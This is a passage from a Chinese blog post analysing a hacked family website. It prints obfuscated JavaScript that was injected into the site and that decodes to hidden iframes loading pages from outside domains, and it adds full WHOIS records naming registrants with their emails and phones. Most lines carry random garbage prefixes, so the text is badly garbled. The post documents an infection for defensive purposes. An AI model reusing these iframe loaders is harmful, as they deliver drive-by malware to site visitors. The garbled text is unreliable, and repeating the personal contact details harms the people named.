首发在我的博客里面，
p
xrd D 7 xe;1D '( http://www.areway.cn/?p=175 %Bo/vB' 6^pddGIG xG05OqKpE 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
YY (,H! h[SuuW <script>t=’60,105,102,114,97,109,101,
XAV|xlfm 32,115,114,99,61,104,116,116,112,58,47,47,
$:R"IqDG 102,114,101,101,46,117,45,117,117,117,46,99,
\Ze"Hv 110,47,101,114,114,111,114,46,104,116,109,
`T x1?] 32,119,105,100,116,104,61,49,48,48,32,104,
:bx q%D%|o 101,105,103,104,116,61,48,62,60,47,105,102,
LY%`O#i. 114,97,109,101,62′;
C ebl"3Q t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
G!J{$0. Jb'M/iG <script>t=’60,105,102,114,97,109,101,32,115,
\lVxlc0{? 114,99,61,104,116,116,112,58,47,47,102,114,
`b^eRnpR 101,101,46,117,45,117,117,117,46,99,110,47,
* _ puW
x 101,114,114,111,114,46,104,116,109,32,119,
&}P{w 105,100,116,104,61,49,48,48,32,104,101,105,
D=U"L-rRs 103,104,116,61,48,62,60,47,105,102,114,97,
t0*JinK I 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
yp=(w cJ document.write(t);</script>
D&f(h][hH? }4PIpDL <html xmlns=”
XY]|OZ7( http://www.w3.org/1999/xhtml @<5?q: 9.8 “>
"=0#pH1o <head>
ppt`5F O <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
R ^Wed <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
sEj?,1jk <title>首页 - 爱生活家庭网
b$kCy Og _q >>]{5 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
/=9t$u| 转换字符串后的大概内容是（谁点击后果自付）：
20G..>zW <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
\Lxsg! wtJ v Dgf} 查询玉米u-uuu.cn的详细信息：
.` z](s Domain Name: u-uuu.cn
&[*F!=%8 ROID: 20070901s10001s64972306-cn
tkBp?Wl Domain Status: ok
0p\cDrB ? Registrant Organization: 王雷
^Jb =&u$ Registrant Name: 王雷
wXv\[z L` Administrative Email:
czlovexs@126.com Hn%n>Bnl Sponsoring Registrar: 北京万网志成科技有限公司
iX8& mUR Name Server:ns.yovole.com
z\V u`Y z Name Server:ns1.yovole.com
^zPa^lo- Registration Date: 2007-09-01 17:54
85U ')LY Expiration Date: 2008-09-01 17:54
`wt*7~'= 最后PING了一下地址 都没有什么….
lLy^@s P8jXruZr 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
\8%64ZL` <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
zfDx c3e
<script language=”javascript” src=”
pC Or{I\ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script =k#SQ/@ >
L 0?-W%$> 这个玉米应该有可能是木马作者的：
L Of0_g/ foafau.info的详细信息：
f S50 Access to INFO WHOIS information is provided to assist persons in
KUG\C\z6= determining the contents of a domain name registration record in the
l`x;Og>a Afilias registry database. The data in this record is provided by
nml Q-V- Afilias Limited for informational purposes only, and Afilias does not
: [o0Va2 d guarantee its accuracy. This service is intended only for query-based
k23*F0Dv access. You agree that you will use this data only for lawful purposes
Vk/CV2 and that, under no circumstances will you use this data to: (a) allow,
mAkR<\?iTF enable, or otherwise support the transmission by e-mail, telephone, or
*Z*4L|zT facsimile of mass unsolicited, commercial advertising or solicitations
d5gYJ/Qv to entities other than the data recipient’s own existing customers; or
?ic 7 M (b) enable high volume, automated, electronic processes that send
&D, gKT~ queries or data to the systems of Registry Operator, a Registrar, or
(,~gY=E+ Afilias except as reasonably necessary to register domain names or
LFHV~>d modify existing registrations. All rights reserved. Afilias reserves
ek~bXy{O` the right to modify these terms at any time. By submitting this query,
XJl2_# you agree to abide by this policy.
*rPUVhD_ Domain ID:D22418703-LRMS
5a1)`2V2M Domain Name:FOAFAU.INFO
uc@f# (- Created On:20-Nov-2007 16:05:42 UTC
CN6@g^)P Last Updated On:20-Nov-2007 16:05:44 UTC
: *V1jp+ Expiration Date:20-Nov-2008 16:05:42 UTC
^ ;0.P)yGA Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
3dG[ dYj Status:CLIENT DELETE PROHIBITED
^a~^$PUqI Status:CLIENT RENEW PROHIBITED
~W'>L++ Status:CLIENT TRANSFER PROHIBITED
wehZ7eqm Status:CLIENT UPDATE PROHIBITED
"Gx( -NH+ Status:TRANSFER PROHIBITED
5#+G7 'k Registrant ID:GODA-040110615
g6:S"Em Registrant Name:liu hong
%\8E{M: Registrant Organization:
x{IxS?.j+ Registrant Street1:beijing
Z)cGe1?q Registrant Street2:
gR)T(%W Registrant Street3:
YNCQPN\v`1 Registrant City:beijing
fMaUIJ:Q9 Registrant State/Province:
]YcM45xg Registrant Postal Code:100000
Ie(vTP1Cj Registrant Country:CN
VmM?KlC Registrant Phone:+86.860108888777
#8P9}WTno. Registrant Phone Ext.:
d4h1#MK Registrant FAX:
n gA&PU Registrant FAX Ext.:
swv 1>52{ Registrant Email:bbbshiji@163.com
GaMiu! |, Admin ID:GODA-240110615
|I L..C Admin Name:liu hong
MY1 1 5% Admin Organization:
t(FI Bf3 Admin Street1:beijing
y21zaQ Admin Street2:
D~W1[ "[ Admin Street3:
i;!#:JX Admin City:beijing
$Il?[4FF Admin State/Province:
q~9Y &>D Admin Postal Code:100000
y'ULhDgq^B Admin Country:CN
DDh$n?2fd Admin Phone:+86.860108888777
QEIu}e6b Admin Phone Ext.:
;C,D1_20Z Admin FAX:
{Muw4DV Admin FAX Ext.:
ng $`<~=)\ Admin Email:bbbshiji@163.com
SB
R= Billing ID:GODA-340110615
A7!!kR": Billing Name:liu hong
:=u Ku'~ Billing Organization:
c}K>#{YeB Billing Street1:beijing
A<esMDX Billing Street2:
lI HSy Billing Street3:
R1Jj 3k Billing City:beijing
)*_4=- 8H Billing State/Province:
CCp&P5[67 Billing Postal Code:100000
m{itMZ@ Billing Country:CN
0#f;/ c0i Billing Phone:+86.860108888777
D^1H(y2zp Billing Phone Ext.:
aKdi Billing FAX:
(orO=gST-/ Billing FAX Ext.:
S EdNH.|I Billing Email:bbbshiji@163.com
Tdvw7I- q Tech ID:GODA-140110615
`[vm{+i Tech Name:liu hong
g:bw;6^ u Tech Organization:
^M60#gJ Tech Street1:beijing
u\gPx4]4c Tech Street2:
_bp9UJ Tech Street3:
NWCJ| Tech City:beijing
Wt2+D{@8 Tech State/Province:
]DcQ8D Tech Postal Code:100000
|/B2Bm Tech Country:CN
i}mvKV?!|1 Tech Phone:+86.860108888777
(~t/8!7N Tech Phone Ext.:
^|KX)g Tech FAX:
Y'6GY*d L Tech FAX Ext.:
Y/Yp+W6n Tech Email:bbbshiji@163.com
.0$$H"t Name Server:NS27.DOMAINCONTROL.COM
.<8kDyi m Name Server:NS28.DOMAINCONTROL.COM
<=KtRE>$ Name Server:
5N=QS1<$5 Name Server:
?ysC7 (( Name Server:
K rNu7/H
Name Server:
( vHB`@x Name Server:
;<qv-$P
Name Server:
RM2<%$ Name Server:
G5~ Jp#uA Name Server:
:p^7XwX%w Name Server:
X .V6v4 Name Server:
lc%2fVG-e Name Server:
G b]t%\ L' w
} 接着下载每个文件里面的代码：
^VCgc>x; 一步一步看..
&_cMbFLBP 
\
UCOe 
bL>J0LWQ 
k!Y7 Rc{" 
QAiont ,! 
-A}U^-'a} 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
